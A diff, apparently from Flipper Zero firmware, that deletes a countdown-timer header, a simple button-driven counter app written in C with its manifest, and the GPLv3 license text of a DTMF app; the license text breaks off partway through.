||||||
#include <furi_hal.h>
|
|
||||||
#include <gui/view.h>
|
|
||||||
#include <gui/elements.h>
|
|
||||||
|
|
||||||
#define SCREEN_WIDTH 128
|
|
||||||
#define SCREEN_HEIGHT 64
|
|
||||||
#define SCREEN_CENTER_X (SCREEN_WIDTH / 2)
|
|
||||||
#define SCREEN_CENTER_Y (SCREEN_HEIGHT / 2)
|
|
||||||
|
|
||||||
#define INIT_COUNT 10
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
CountDownTimerMinuteUp,
|
|
||||||
CountDownTimerMinuteDown,
|
|
||||||
CountDownTimerSecDown,
|
|
||||||
CountDownTimerSecUp,
|
|
||||||
CountDownTimerHourUp,
|
|
||||||
CountDownTimerHourDown,
|
|
||||||
CountDownTimerReset,
|
|
||||||
CountDownTimerTimeUp,
|
|
||||||
CountDownTimerToggleCounting,
|
|
||||||
} CountDownViewCmd;
|
|
||||||
|
|
||||||
typedef enum {
|
|
||||||
CountDownTimerSelectSec,
|
|
||||||
CountDownTimerSelectMinute,
|
|
||||||
CountDownTimerSelectHour,
|
|
||||||
} CountDownViewSelect;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
int32_t count;
|
|
||||||
int32_t saved_count_setting;
|
|
||||||
CountDownViewSelect select; // setting
|
|
||||||
} CountDownModel;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
View* view;
|
|
||||||
FuriTimer* timer; // 1Hz tick timer
|
|
||||||
bool counting;
|
|
||||||
|
|
||||||
} CountDownTimView;
|
|
||||||
|
|
||||||
// functions
|
|
||||||
// allocate helloworld view
|
|
||||||
CountDownTimView* countdown_timer_view_new();
|
|
||||||
|
|
||||||
// delete helloworld view
|
|
||||||
void countdown_timer_view_delete(CountDownTimView* cdv);
|
|
||||||
|
|
||||||
// return view
|
|
||||||
View* countdown_timer_view_get_view(CountDownTimView* cdv);
|
|
||||||
|
|
||||||
void countdown_timer_view_state_reset(CountDownTimView* cdv); // set initial state
|
|
||||||
void countdown_timer_state_toggle(CountDownTimView* cdv);
|
|
||||||
#endif // __COUNTDOWN_VIEW_H__
|
|
||||||
16
applications/external/counter/application.fam
vendored
@@ -1,16 +0,0 @@
|
|||||||
App(
|
|
||||||
appid="counter",
|
|
||||||
name="Counter",
|
|
||||||
apptype=FlipperAppType.EXTERNAL,
|
|
||||||
entry_point="counterapp",
|
|
||||||
requires=[
|
|
||||||
"gui",
|
|
||||||
],
|
|
||||||
fap_category="Tools",
|
|
||||||
fap_icon="icons/counter_icon.png",
|
|
||||||
fap_icon_assets="icons",
|
|
||||||
fap_author="@Krulknul",
|
|
||||||
fap_weburl="https://github.com/Krulknul/dolphin-counter",
|
|
||||||
fap_version="1.1",
|
|
||||||
fap_description="Simple counter",
|
|
||||||
)
|
|
||||||
109
applications/external/counter/counter.c
vendored
@@ -1,109 +0,0 @@
|
|||||||
#include <furi.h>
|
|
||||||
#include <gui/gui.h>
|
|
||||||
#include <input/input.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include "counter_icons.h"
|
|
||||||
#include <assets_icons.h>
|
|
||||||
|
|
||||||
#define MAX_COUNT 99
|
|
||||||
#define BOXTIME 2
|
|
||||||
#define BOXWIDTH 30
|
|
||||||
#define MIDDLE_X 64 - BOXWIDTH / 2
|
|
||||||
#define MIDDLE_Y 32 - BOXWIDTH / 2
|
|
||||||
#define OFFSET_Y 9
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
FuriMessageQueue* input_queue;
|
|
||||||
ViewPort* view_port;
|
|
||||||
Gui* gui;
|
|
||||||
FuriMutex** mutex;
|
|
||||||
|
|
||||||
int count;
|
|
||||||
bool pressed;
|
|
||||||
int boxtimer;
|
|
||||||
} Counter;
|
|
||||||
|
|
||||||
void state_free(Counter* c) {
|
|
||||||
gui_remove_view_port(c->gui, c->view_port);
|
|
||||||
furi_record_close(RECORD_GUI);
|
|
||||||
view_port_free(c->view_port);
|
|
||||||
furi_message_queue_free(c->input_queue);
|
|
||||||
furi_mutex_free(c->mutex);
|
|
||||||
free(c);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void input_callback(InputEvent* input_event, void* ctx) {
|
|
||||||
Counter* c = ctx;
|
|
||||||
if(input_event->type == InputTypeShort) {
|
|
||||||
furi_message_queue_put(c->input_queue, input_event, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void render_callback(Canvas* canvas, void* ctx) {
|
|
||||||
Counter* c = ctx;
|
|
||||||
furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
|
|
||||||
canvas_clear(canvas);
|
|
||||||
canvas_set_color(canvas, ColorBlack);
|
|
||||||
canvas_set_font(canvas, FontPrimary);
|
|
||||||
canvas_draw_str_aligned(canvas, 64, 10, AlignCenter, AlignCenter, "Counter :)");
|
|
||||||
canvas_set_font(canvas, FontBigNumbers);
|
|
||||||
|
|
||||||
char scount[5];
|
|
||||||
if(c->pressed == true || c->boxtimer > 0) {
|
|
||||||
canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
|
|
||||||
canvas_draw_rframe(
|
|
||||||
canvas, MIDDLE_X - 1, MIDDLE_Y + OFFSET_Y - 1, BOXWIDTH + 2, BOXWIDTH + 2, 5);
|
|
||||||
canvas_draw_rframe(
|
|
||||||
canvas, MIDDLE_X - 2, MIDDLE_Y + OFFSET_Y - 2, BOXWIDTH + 4, BOXWIDTH + 4, 5);
|
|
||||||
c->pressed = false;
|
|
||||||
c->boxtimer--;
|
|
||||||
} else {
|
|
||||||
canvas_draw_rframe(canvas, MIDDLE_X, MIDDLE_Y + OFFSET_Y, BOXWIDTH, BOXWIDTH, 5);
|
|
||||||
}
|
|
||||||
snprintf(scount, sizeof(scount), "%d", c->count);
|
|
||||||
canvas_draw_str_aligned(canvas, 64, 32 + OFFSET_Y, AlignCenter, AlignCenter, scount);
|
|
||||||
furi_mutex_release(c->mutex);
|
|
||||||
}
|
|
||||||
|
|
||||||
Counter* state_init() {
|
|
||||||
Counter* c = malloc(sizeof(Counter));
|
|
||||||
c->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
|
|
||||||
c->view_port = view_port_alloc();
|
|
||||||
c->gui = furi_record_open(RECORD_GUI);
|
|
||||||
c->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
|
|
||||||
c->count = 0;
|
|
||||||
c->boxtimer = 0;
|
|
||||||
view_port_input_callback_set(c->view_port, input_callback, c);
|
|
||||||
view_port_draw_callback_set(c->view_port, render_callback, c);
|
|
||||||
gui_add_view_port(c->gui, c->view_port, GuiLayerFullscreen);
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t counterapp(void) {
|
|
||||||
Counter* c = state_init();
|
|
||||||
|
|
||||||
while(1) {
|
|
||||||
InputEvent input;
|
|
||||||
while(furi_message_queue_get(c->input_queue, &input, FuriWaitForever) == FuriStatusOk) {
|
|
||||||
furi_check(furi_mutex_acquire(c->mutex, FuriWaitForever) == FuriStatusOk);
|
|
||||||
|
|
||||||
if(input.key == InputKeyBack) {
|
|
||||||
furi_mutex_release(c->mutex);
|
|
||||||
state_free(c);
|
|
||||||
return 0;
|
|
||||||
} else if((input.key == InputKeyUp || input.key == InputKeyOk) && c->count < MAX_COUNT) {
|
|
||||||
c->pressed = true;
|
|
||||||
c->boxtimer = BOXTIME;
|
|
||||||
c->count++;
|
|
||||||
} else if(input.key == InputKeyDown && c->count != 0) {
|
|
||||||
c->pressed = true;
|
|
||||||
c->boxtimer = BOXTIME;
|
|
||||||
c->count--;
|
|
||||||
}
|
|
||||||
furi_mutex_release(c->mutex);
|
|
||||||
view_port_update(c->view_port);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
state_free(c);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
BIN
applications/external/counter/icons/counter_icon.png
vendored
|
Before Width: | Height: | Size: 182 B |
674
applications/external/dtmf_dolphin/LICENSE
vendored
@@ -1,674 +0,0 @@
|
|||||||
GNU GENERAL PUBLIC LICENSE
|
|
||||||
Version 3, 29 June 2007
|
|
||||||
|
|
||||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
|
||||||
Everyone is permitted to copy and distribute verbatim copies
|
|
||||||
of this license document, but changing it is not allowed.
|
|
||||||
|
|
||||||
Preamble
|
|
||||||
|
|
||||||
The GNU General Public License is a free, copyleft license for
|
|
||||||
software and other kinds of works.
|
|
||||||
|
|
||||||
The licenses for most software and other practical works are designed
|
|
||||||
to take away your freedom to share and change the works. By contrast,
|
|
||||||
the GNU General Public License is intended to guarantee your freedom to
|
|
||||||
share and change all versions of a program--to make sure it remains free
|
|
||||||
software for all its users. We, the Free Software Foundation, use the
|
|
||||||
GNU General Public License for most of our software; it applies also to
|
|
||||||
any other work released this way by its authors. You can apply it to
|
|
||||||
your programs, too.
|
|
||||||
|
|
||||||
When we speak of free software, we are referring to freedom, not
|
|
||||||
price. Our General Public Licenses are designed to make sure that you
|
|
||||||
have the freedom to distribute copies of free software (and charge for
|
|
||||||
them if you wish), that you receive source code or can get it if you
|
|
||||||
want it, that you can change the software or use pieces of it in new
|
|
||||||
free programs, and that you know you can do these things.
|
|
||||||
|
|
||||||
To protect your rights, we need to prevent others from denying you
|
|
||||||
these rights or asking you to surrender the rights. Therefore, you have
|
|
||||||
certain responsibilities if you distribute copies of the software, or if
|
|
||||||
you modify it: responsibilities to respect the freedom of others.
|
|
||||||
|
|
||||||
For example, if you distribute copies of such a program, whether
|
|
||||||
gratis or for a fee, you must pass on to the recipients the same
|
|
||||||
freedoms that you received. You must make sure that they, too, receive
|
|
||||||
or can get the source code. And you must show them these terms so they
|
|
||||||
know their rights.
|
|
||||||
|
|
||||||
Developers that use the GNU GPL protect your rights with two steps:
|
|
||||||
(1) assert copyright on the software, and (2) offer you this License
|
|
||||||
giving you legal permission to copy, distribute and/or modify it.
|
|
||||||
|
|
||||||
For the developers' and authors' protection, the GPL clearly explains
|
|
||||||
that there is no warranty for this free software. For both users' and
|
|
||||||
authors' sake, the GPL requires that modified versions be marked as
|
|
||||||
changed, so that their problems will not be attributed erroneously to
|
|
||||||
authors of previous versions.
|
|
||||||
|
|
||||||
Some devices are designed to deny users access to install or run
|
|
||||||
modified versions of the software inside them, although the manufacturer
|
|
||||||
can do so. This is fundamentally incompatible with the aim of
|
|
||||||
protecting users' freedom to change the software. The systematic
|
|
||||||
pattern of such abuse occurs in the area of products for individuals to
|
|
||||||
use, which is precisely where it is most unacceptable. Therefore, we
|
|
||||||
have designed this version of the GPL to prohibit the practice for those
|
|
||||||
products. If such problems arise substantially in other domains, we
|
|
||||||
stand ready to extend this provision to those domains in future versions
|
|
||||||
of the GPL, as needed to protect the freedom of users.
|
|
||||||
|
|
||||||
Finally, every program is threatened constantly by software patents.
|
|
||||||
States should not allow patents to restrict development and use of
|
|
||||||
software on general-purpose computers, but in those that do, we wish to
|
|
||||||
avoid the special danger that patents applied to a free program could
|
|
||||||
make it effectively proprietary. To prevent this, the GPL assures that
|
|
||||||
patents cannot be used to render the program non-free.
|
|
||||||
|
|
||||||
The precise terms and conditions for copying, distribution and
|
|
||||||
modification follow.
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
0. Definitions.
|
|
||||||
|
|
||||||
"This License" refers to version 3 of the GNU General Public License.
|
|
||||||
|
|
||||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
|
||||||
works, such as semiconductor masks.
|
|
||||||
|
|
||||||
"The Program" refers to any copyrightable work licensed under this
|
|
||||||
License. Each licensee is addressed as "you". "Licensees" and
|
|
||||||
"recipients" may be individuals or organizations.
|
|
||||||
|
|
||||||
To "modify" a work means to copy from or adapt all or part of the work
|
|
||||||
in a fashion requiring copyright permission, other than the making of an
|
|
||||||
exact copy. The resulting work is called a "modified version" of the
|
|
||||||
earlier work or a work "based on" the earlier work.
|
|
||||||
|
|
||||||
A "covered work" means either the unmodified Program or a work based
|
|
||||||
on the Program.
|
|
||||||
|
|
||||||
To "propagate" a work means to do anything with it that, without
|
|
||||||
permission, would make you directly or secondarily liable for
|
|
||||||
infringement under applicable copyright law, except executing it on a
|
|
||||||
computer or modifying a private copy. Propagation includes copying,
|
|
||||||
distribution (with or without modification), making available to the
|
|
||||||
public, and in some countries other activities as well.
|
|
||||||
|
|
||||||
To "convey" a work means any kind of propagation that enables other
|
|
||||||
parties to make or receive copies. Mere interaction with a user through
|
|
||||||
a computer network, with no transfer of a copy, is not conveying.
|
|
||||||
|
|
||||||
An interactive user interface displays "Appropriate Legal Notices"
|
|
||||||
to the extent that it includes a convenient and prominently visible
|
|
||||||
feature that (1) displays an appropriate copyright notice, and (2)
|
|
||||||
tells the user that there is no warranty for the work (except to the
|
|
||||||
extent that warranties are provided), that licensees may convey the
|
|
||||||
work under this License, and how to view a copy of this License. If
|
|
||||||
the interface presents a list of user commands or options, such as a
|
|
||||||
menu, a prominent item in the list meets this criterion.
|
|
||||||
|
|
||||||
1. Source Code.
|
|
||||||
|
|
||||||
The "source code" for a work means the preferred form of the work
|
|
||||||
for making modifications to it. "Object code" means any non-source
|
|
||||||
form of a work.
|
|
||||||
|
|
||||||
A "Standard Interface" means an interface that either is an official
|
|
||||||
standard defined by a recognized standards body, or, in the case of
|
|
||||||
interfaces specified for a particular programming language, one that
|
|
||||||
is widely used among developers working in that language.
|
|
||||||
|
|
||||||
The "System Libraries" of an executable work include anything, other
|
|
||||||
than the work as a whole, that (a) is included in the normal form of
|
|
||||||
packaging a Major Component, but which is not part of that Major
|
|
||||||
Component, and (b) serves only to enable use of the work with that
|
|
||||||
Major Component, or to implement a Standard Interface for which an
|
|
||||||
implementation is available to the public in source code form. A
|
|
||||||
"Major Component", in this context, means a major essential component
|
|
||||||
(kernel, window system, and so on) of the specific operating system
|
|
||||||
(if any) on which the executable work runs, or a compiler used to
|
|
||||||
produce the work, or an object code interpreter used to run it.
|
|
||||||
|
|
||||||
The "Corresponding Source" for a work in object code form means all
|
|
||||||
the source code needed to generate, install, and (for an executable
|
|
||||||
work) run the object code and to modify the work, including scripts to
|
|
||||||
control those activities. However, it does not include the work's
|
|
||||||
System Libraries, or general-purpose tools or generally available free
|
|
||||||
programs which are used unmodified in performing those activities but
|
|
||||||
which are not part of the work. For example, Corresponding Source
|
|
||||||
includes interface definition files associated with source files for
|
|
||||||
the work, and the source code for shared libraries and dynamically
|
|
||||||
linked subprograms that the work is specifically designed to require,
|
|
||||||
such as by intimate data communication or control flow between those
|
|
||||||
subprograms and other parts of the work.
|
|
||||||
|
|
||||||
The Corresponding Source need not include anything that users
|
|
||||||
can regenerate automatically from other parts of the Corresponding
|
|
||||||
Source.
|
|
||||||
|
|
||||||
The Corresponding Source for a work in source code form is that
|
|
||||||
same work.
|
|
||||||
|
|
||||||
2. Basic Permissions.
|
|
||||||
|
|
||||||
All rights granted under this License are granted for the term of
|
|
||||||
copyright on the Program, and are irrevocable provided the stated
|
|
||||||
conditions are met. This License explicitly affirms your unlimited
|
|
||||||
permission to run the unmodified Program. The output from running a
|
|
||||||
covered work is covered by this License only if the output, given its
|
|
||||||
content, constitutes a covered work. This License acknowledges your
|
|
||||||
rights of fair use or other equivalent, as provided by copyright law.
|
|
||||||
|
|
||||||
You may make, run and propagate covered works that you do not
|
|
||||||
convey, without conditions so long as your license otherwise remains
|
|
||||||
in force. You may convey covered works to others for the sole purpose
|
|
||||||
of having them make modifications exclusively for you, or provide you
|
|
||||||
with facilities for running those works, provided that you comply with
|
|
||||||
the terms of this License in conveying all material for which you do
|
|
||||||
not control copyright. Those thus making or running the covered works
|
|
||||||
for you must do so exclusively on your behalf, under your direction
|
|
||||||
and control, on terms that prohibit them from making any copies of
|
|
||||||
your copyrighted material outside their relationship with you.
|
|
||||||
|
|
||||||
Conveying under any other circumstances is permitted solely under
|
|
||||||
the conditions stated below. Sublicensing is not allowed; section 10
|
|
||||||
makes it unnecessary.
|
|
||||||
|
|
||||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
|
||||||
|
|
||||||
No covered work shall be deemed part of an effective technological
|
|
||||||
measure under any applicable law fulfilling obligations under article
|
|
||||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
|
||||||
similar laws prohibiting or restricting circumvention of such
|
|
||||||
measures.
|
|
||||||
|
|
||||||
When you convey a covered work, you waive any legal power to forbid
|
|
||||||
circumvention of technological measures to the extent such circumvention
|
|
||||||
is effected by exercising rights under this License with respect to
|
|
||||||
the covered work, and you disclaim any intention to limit operation or
|
|
||||||
modification of the work as a means of enforcing, against the work's
|
|
||||||
users, your or third parties' legal rights to forbid circumvention of
|
|
||||||
technological measures.
|
|
||||||
|
|
||||||
4. Conveying Verbatim Copies.
|
|
||||||
|
|
||||||
You may convey verbatim copies of the Program's source code as you
|
|
||||||
receive it, in any medium, provided that you conspicuously and
|
|
||||||
appropriately publish on each copy an appropriate copyright notice;
|
|
||||||
keep intact all notices stating that this License and any
|
|
||||||
non-permissive terms added in accord with section 7 apply to the code;
|
|
||||||
keep intact all notices of the absence of any warranty; and give all
|
|
||||||
recipients a copy of this License along with the Program.
|
|
||||||
|
|
||||||
You may charge any price or no price for each copy that you convey,
|
|
||||||
and you may offer support or warranty protection for a fee.
|
|
||||||
|
|
||||||
5. Conveying Modified Source Versions.
|
|
||||||
|
|
||||||
You may convey a work based on the Program, or the modifications to
|
|
||||||
produce it from the Program, in the form of source code under the
|
|
||||||
terms of section 4, provided that you also meet all of these conditions:
|
|
||||||
|
|
||||||
a) The work must carry prominent notices stating that you modified
|
|
||||||
it, and giving a relevant date.
|
|
||||||
|
|
||||||
b) The work must carry prominent notices stating that it is
|
|
||||||
released under this License and any conditions added under section
|
|
||||||
7. This requirement modifies the requirement in section 4 to
|
|
||||||
"keep intact all notices".
|
|
||||||
|
|
||||||
c) You must license the entire work, as a whole, under this
|
|
||||||
License to anyone who comes into possession of a copy. This
|
|
||||||
License will therefore apply, along with any applicable section 7
|
|
||||||
additional terms, to the whole of the work, and all its parts,
|
|
||||||
regardless of how they are packaged. This License gives no
|
|
||||||
permission to license the work in any other way, but it does not
|
|
||||||
invalidate such permission if you have separately received it.
|
|
||||||
|
|
||||||
d) If the work has interactive user interfaces, each must display
|
|
||||||
Appropriate Legal Notices; however, if the Program has interactive
|
|
||||||
interfaces that do not display Appropriate Legal Notices, your
|
|
||||||
work need not make them do so.
|
|
||||||
|
|
||||||
A compilation of a covered work with other separate and independent
|
|
||||||
works, which are not by their nature extensions of the covered work,
|
|
||||||
and which are not combined with it such as to form a larger program,
|
|
||||||
in or on a volume of a storage or distribution medium, is called an
|
|
||||||
"aggregate" if the compilation and its resulting copyright are not
|
|
||||||
used to limit the access or legal rights of the compilation's users
|
|
||||||
beyond what the individual works permit. Inclusion of a covered work
|
|
||||||
in an aggregate does not cause this License to apply to the other
|
|
||||||
parts of the aggregate.
|
|
||||||
|
|
||||||
6. Conveying Non-Source Forms.
|
|
||||||
|
|
||||||
You may convey a covered work in object code form under the terms
|
|
||||||
of sections 4 and 5, provided that you also convey the
|
|
||||||
machine-readable Corresponding Source under the terms of this License,
|
|
||||||
in one of these ways:
|
|
||||||
|
|
||||||
a) Convey the object code in, or embodied in, a physical product
|
|
||||||
(including a physical distribution medium), accompanied by the
|
|
||||||
Corresponding Source fixed on a durable physical medium
|
|
||||||
customarily used for software interchange.
|
|
||||||
|
|
||||||
b) Convey the object code in, or embodied in, a physical product
|
|
||||||
(including a physical distribution medium), accompanied by a
|
|
||||||
written offer, valid for at least three years and valid for as
|
|
||||||
long as you offer spare parts or customer support for that product
|
|
||||||
model, to give anyone who possesses the object code either (1) a
|
|
||||||
copy of the Corresponding Source for all the software in the
|
|
||||||
product that is covered by this License, on a durable physical
|
|
||||||
medium customarily used for software interchange, for a price no
|
|
||||||
more than your reasonable cost of physically performing this
|
|
||||||
conveying of source, or (2) access to copy the
|
|
||||||
Corresponding Source from a network server at no charge.
|
|
||||||
|
|
||||||
c) Convey individual copies of the object code with a copy of the
|
|
||||||
written offer to provide the Corresponding Source. This
|
|
||||||
alternative is allowed only occasionally and noncommercially, and
|
|
||||||
only if you received the object code with such an offer, in accord
|
|
||||||
with subsection 6b.
|
|
||||||
|
|
||||||
d) Convey the object code by offering access from a designated
|
|
||||||
place (gratis or for a charge), and offer equivalent access to the
|
|
||||||
Corresponding Source in the same way through the same place at no
|
|
||||||
further charge. You need not require recipients to copy the
|
|
||||||
Corresponding Source along with the object code. If the place to
|
|
||||||
copy the object code is a network server, the Corresponding Source
|
|
||||||
may be on a different server (operated by you or a third party)
|
|
||||||
that supports equivalent copying facilities, provided you maintain
|
|
||||||
clear directions next to the object code saying where to find the
|
|
||||||
Corresponding Source. Regardless of what server hosts the
|
|
||||||
Corresponding Source, you remain obligated to ensure that it is
|
|
||||||
available for as long as needed to satisfy these requirements.
|
|
||||||
|
|
||||||
e) Convey the object code using peer-to-peer transmission, provided
|
|
||||||
you inform other peers where the object code and Corresponding
|
|
||||||
Source of the work are being offered to the general public at no
|
|
||||||
charge under subsection 6d.
|
|
||||||
|
|
||||||
A separable portion of the object code, whose source code is excluded
|
|
||||||
from the Corresponding Source as a System Library, need not be
|
|
||||||
included in conveying the object code work.
|
|
||||||
|
|
||||||
A "User Product" is either (1) a "consumer product", which means any
|
|
||||||
tangible personal property which is normally used for personal, family,
|
|
||||||
or household purposes, or (2) anything designed or sold for incorporation
|
|
||||||
into a dwelling. In determining whether a product is a consumer product,
|
|
||||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
|
||||||
product received by a particular user, "normally used" refers to a
|
|
||||||
typical or common use of that class of product, regardless of the status
|
|
||||||
of the particular user or of the way in which the particular user
|
|
||||||
actually uses, or expects or is expected to use, the product. A product
|
|
||||||
is a consumer product regardless of whether the product has substantial
|
|
||||||
commercial, industrial or non-consumer uses, unless such uses represent
|
|
||||||
the only significant mode of use of the product.
|
|
||||||
|
|
||||||
"Installation Information" for a User Product means any methods,
|
|
||||||
procedures, authorization keys, or other information required to install
|
|
||||||
and execute modified versions of a covered work in that User Product from
|
|
||||||
a modified version of its Corresponding Source. The information must
|
|
||||||
suffice to ensure that the continued functioning of the modified object
|
|
||||||
code is in no case prevented or interfered with solely because
|
|
||||||
modification has been made.
|
|
||||||
|
|
||||||
If you convey an object code work under this section in, or with, or
|
|
||||||
specifically for use in, a User Product, and the conveying occurs as
|
|
||||||
part of a transaction in which the right of possession and use of the
|
|
||||||
User Product is transferred to the recipient in perpetuity or for a
|
|
||||||
fixed term (regardless of how the transaction is characterized), the
|
|
||||||
Corresponding Source conveyed under this section must be accompanied
|
|
||||||
by the Installation Information. But this requirement does not apply
|
|
||||||
if neither you nor any third party retains the ability to install
|
|
||||||
modified object code on the User Product (for example, the work has
|
|
||||||
been installed in ROM).
|
|
||||||
|
|
||||||
The requirement to provide Installation Information does not include a
|
|
||||||
requirement to continue to provide support service, warranty, or updates
|
|
||||||
for a work that has been modified or installed by the recipient, or for
|
|
||||||
the User Product in which it has been modified or installed. Access to a
|
|
||||||
network may be denied when the modification itself materially and
|
|
||||||
adversely affects the operation of the network or violates the rules and
|
|
||||||
protocols for communication across the network.
|
|
||||||
|
|
||||||
Corresponding Source conveyed, and Installation Information provided,
|
|
||||||
in accord with this section must be in a format that is publicly
|
|
||||||
documented (and with an implementation available to the public in
|
|
||||||
source code form), and must require no special password or key for
|
|
||||||
unpacking, reading or copying.
|
|
||||||
|
|
||||||
7. Additional Terms.
|
|
||||||
|
|
||||||
"Additional permissions" are terms that supplement the terms of this
|
|
||||||
License by making exceptions from one or more of its conditions.
|
|
||||||
Additional permissions that are applicable to the entire Program shall
|
|
||||||
be treated as though they were included in this License, to the extent
|
|
||||||
that they are valid under applicable law. If additional permissions
|
|
||||||
apply only to part of the Program, that part may be used separately
|
|
||||||
under those permissions, but the entire Program remains governed by
|
|
||||||
this License without regard to the additional permissions.
|
|
||||||
|
|
||||||
When you convey a copy of a covered work, you may at your option
|
|
||||||
remove any additional permissions from that copy, or from any part of
|
|
||||||
it. (Additional permissions may be written to require their own
|
|
||||||
removal in certain cases when you modify the work.) You may place
|
|
||||||
additional permissions on material, added by you to a covered work,
|
|
||||||
for which you have or can give appropriate copyright permission.
|
|
||||||
|
|
||||||
Notwithstanding any other provision of this License, for material you
|
|
||||||
add to a covered work, you may (if authorized by the copyright holders of
|
|
||||||
that material) supplement the terms of this License with terms:
|
|
||||||
|
|
||||||
a) Disclaiming warranty or limiting liability differently from the
|
|
||||||
terms of sections 15 and 16 of this License; or
|
|
||||||
|
|
||||||
b) Requiring preservation of specified reasonable legal notices or
|
|
||||||
author attributions in that material or in the Appropriate Legal
|
|
||||||
Notices displayed by works containing it; or
|
|
||||||
|
|
||||||
c) Prohibiting misrepresentation of the origin of that material, or
|
|
||||||
requiring that modified versions of such material be marked in
|
|
||||||
reasonable ways as different from the original version; or
|
|
||||||
|
|
||||||
d) Limiting the use for publicity purposes of names of licensors or
|
|
||||||
authors of the material; or
|
|
||||||
|
|
||||||
e) Declining to grant rights under trademark law for use of some
|
|
||||||
trade names, trademarks, or service marks; or
|
|
||||||
|
|
||||||
f) Requiring indemnification of licensors and authors of that
|
|
||||||
material by anyone who conveys the material (or modified versions of
|
|
||||||
it) with contractual assumptions of liability to the recipient, for
|
|
||||||
any liability that these contractual assumptions directly impose on
|
|
||||||
those licensors and authors.
|
|
||||||
|
|
||||||
All other non-permissive additional terms are considered "further
|
|
||||||
restrictions" within the meaning of section 10. If the Program as you
|
|
||||||
received it, or any part of it, contains a notice stating that it is
|
|
||||||
governed by this License along with a term that is a further
|
|
||||||
restriction, you may remove that term. If a license document contains
|
|
||||||
a further restriction but permits relicensing or conveying under this
|
|
||||||
License, you may add to a covered work material governed by the terms
|
|
||||||
of that license document, provided that the further restriction does
|
|
||||||
not survive such relicensing or conveying.
|
|
||||||
|
|
||||||
If you add terms to a covered work in accord with this section, you
|
|
||||||
must place, in the relevant source files, a statement of the
|
|
||||||
additional terms that apply to those files, or a notice indicating
|
|
||||||
where to find the applicable terms.
|
|
||||||
|
|
||||||
Additional terms, permissive or non-permissive, may be stated in the
|
|
||||||
form of a separately written license, or stated as exceptions;
|
|
||||||
the above requirements apply either way.
|
|
||||||
|
|
||||||
8. Termination.
|
|
||||||
|
|
||||||
You may not propagate or modify a covered work except as expressly
|
|
||||||
provided under this License. Any attempt otherwise to propagate or
|
|
||||||
modify it is void, and will automatically terminate your rights under
|
|
||||||
this License (including any patent licenses granted under the third
|
|
||||||
paragraph of section 11).
|
|
||||||
|
|
||||||
However, if you cease all violation of this License, then your
|
|
||||||
license from a particular copyright holder is reinstated (a)
|
|
||||||
provisionally, unless and until the copyright holder explicitly and
|
|
||||||
finally terminates your license, and (b) permanently, if the copyright
|
|
||||||
holder fails to notify you of the violation by some reasonable means
|
|
||||||
prior to 60 days after the cessation.
|
|
||||||
|
|
||||||
Moreover, your license from a particular copyright holder is
|
|
||||||
reinstated permanently if the copyright holder notifies you of the
|
|
||||||
violation by some reasonable means, this is the first time you have
|
|
||||||
received notice of violation of this License (for any work) from that
|
|
||||||
copyright holder, and you cure the violation prior to 30 days after
|
|
||||||
your receipt of the notice.
|
|
||||||
|
|
||||||
Termination of your rights under this section does not terminate the
|
|
||||||
licenses of parties who have received copies or rights from you under
|
|
||||||
this License. If your rights have been terminated and not permanently
|
|
||||||
reinstated, you do not qualify to receive new licenses for the same
|
|
||||||
material under section 10.
|
|
||||||
|
|
||||||
9. Acceptance Not Required for Having Copies.
|
|
||||||
|
|
||||||
You are not required to accept this License in order to receive or
|
|
||||||
run a copy of the Program. Ancillary propagation of a covered work
|
|
||||||
occurring solely as a consequence of using peer-to-peer transmission
|
|
||||||
to receive a copy likewise does not require acceptance. However,
|
|
||||||
nothing other than this License grants you permission to propagate or
|
|
||||||
modify any covered work. These actions infringe copyright if you do
|
|
||||||
not accept this License. Therefore, by modifying or propagating a
|
|
||||||
covered work, you indicate your acceptance of this License to do so.
|
|
||||||
|
|
||||||
10. Automatic Licensing of Downstream Recipients.
|
|
||||||
|
|
||||||
Each time you convey a covered work, the recipient automatically
|
|
||||||
receives a license from the original licensors, to run, modify and
|
|
||||||
propagate that work, subject to this License. You are not responsible
|
|
||||||
for enforcing compliance by third parties with this License.
|
|
||||||
|
|
||||||
An "entity transaction" is a transaction transferring control of an
|
|
||||||
organization, or substantially all assets of one, or subdividing an
|
|
||||||
organization, or merging organizations. If propagation of a covered
|
|
||||||
work results from an entity transaction, each party to that
|
|
||||||
transaction who receives a copy of the work also receives whatever
|
|
||||||
licenses to the work the party's predecessor in interest had or could
|
|
||||||
give under the previous paragraph, plus a right to possession of the
|
|
||||||
Corresponding Source of the work from the predecessor in interest, if
|
|
||||||
the predecessor has it or can get it with reasonable efforts.
|
|
||||||
|
|
||||||
You may not impose any further restrictions on the exercise of the
|
|
||||||
rights granted or affirmed under this License. For example, you may
|
|
||||||
not impose a license fee, royalty, or other charge for exercise of
|
|
||||||
rights granted under this License, and you may not initiate litigation
|
|
||||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
|
||||||
any patent claim is infringed by making, using, selling, offering for
|
|
||||||
sale, or importing the Program or any portion of it.
|
|
||||||
|
|
||||||
11. Patents.
|
|
||||||
|
|
||||||
A "contributor" is a copyright holder who authorizes use under this
|
|
||||||
License of the Program or a work on which the Program is based. The
|
|
||||||
work thus licensed is called the contributor's "contributor version".
|
|
||||||
|
|
||||||
A contributor's "essential patent claims" are all patent claims
|
|
||||||
owned or controlled by the contributor, whether already acquired or
|
|
||||||
hereafter acquired, that would be infringed by some manner, permitted
|
|
